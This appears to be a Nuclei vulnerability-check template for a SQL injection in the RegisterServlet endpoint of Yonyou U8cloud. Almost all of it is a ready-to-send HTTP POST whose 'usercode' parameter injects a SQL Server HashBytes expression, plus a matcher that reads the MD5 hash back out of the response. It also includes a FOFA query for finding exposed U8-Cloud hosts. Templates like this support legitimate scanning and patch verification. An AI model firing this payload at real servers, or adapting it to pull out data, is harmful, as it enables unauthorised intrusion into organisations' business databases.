yonyou-u8c-RegisterServlet-sqli

[Kongchengsain]

id: yonyou-u8c-RegisterServlet-sqli

info:
name: 用友U8cloud RegisterServlet SQL注入
author: Kongchengsain
severity: high
description:
用友U8cloud所有版本RegisterServlet接口存在SQL注入漏洞。
tags: [用友,U8cloud, sql注入, 高危]
metadata:
fofa-query: app="用友-U8-Cloud"
http:

• raw:

  • |-
    POST /servlet/RegisterServlet HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
    Connection: close
    Content-Length: 85
    Accept: /
    Accept-Language: en
    Content-Type: application/x-www-form-urlencoded
    X-Forwarded-For: 127.0.0.1
    Accept-Encoding: gzip

    usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

  matchers-condition: and
  matchers:

  • type: dsl
    dsl:
    • 'status_code==200 && contains(body_1, "e10adc3949ba59abbe56e057f20f883e")'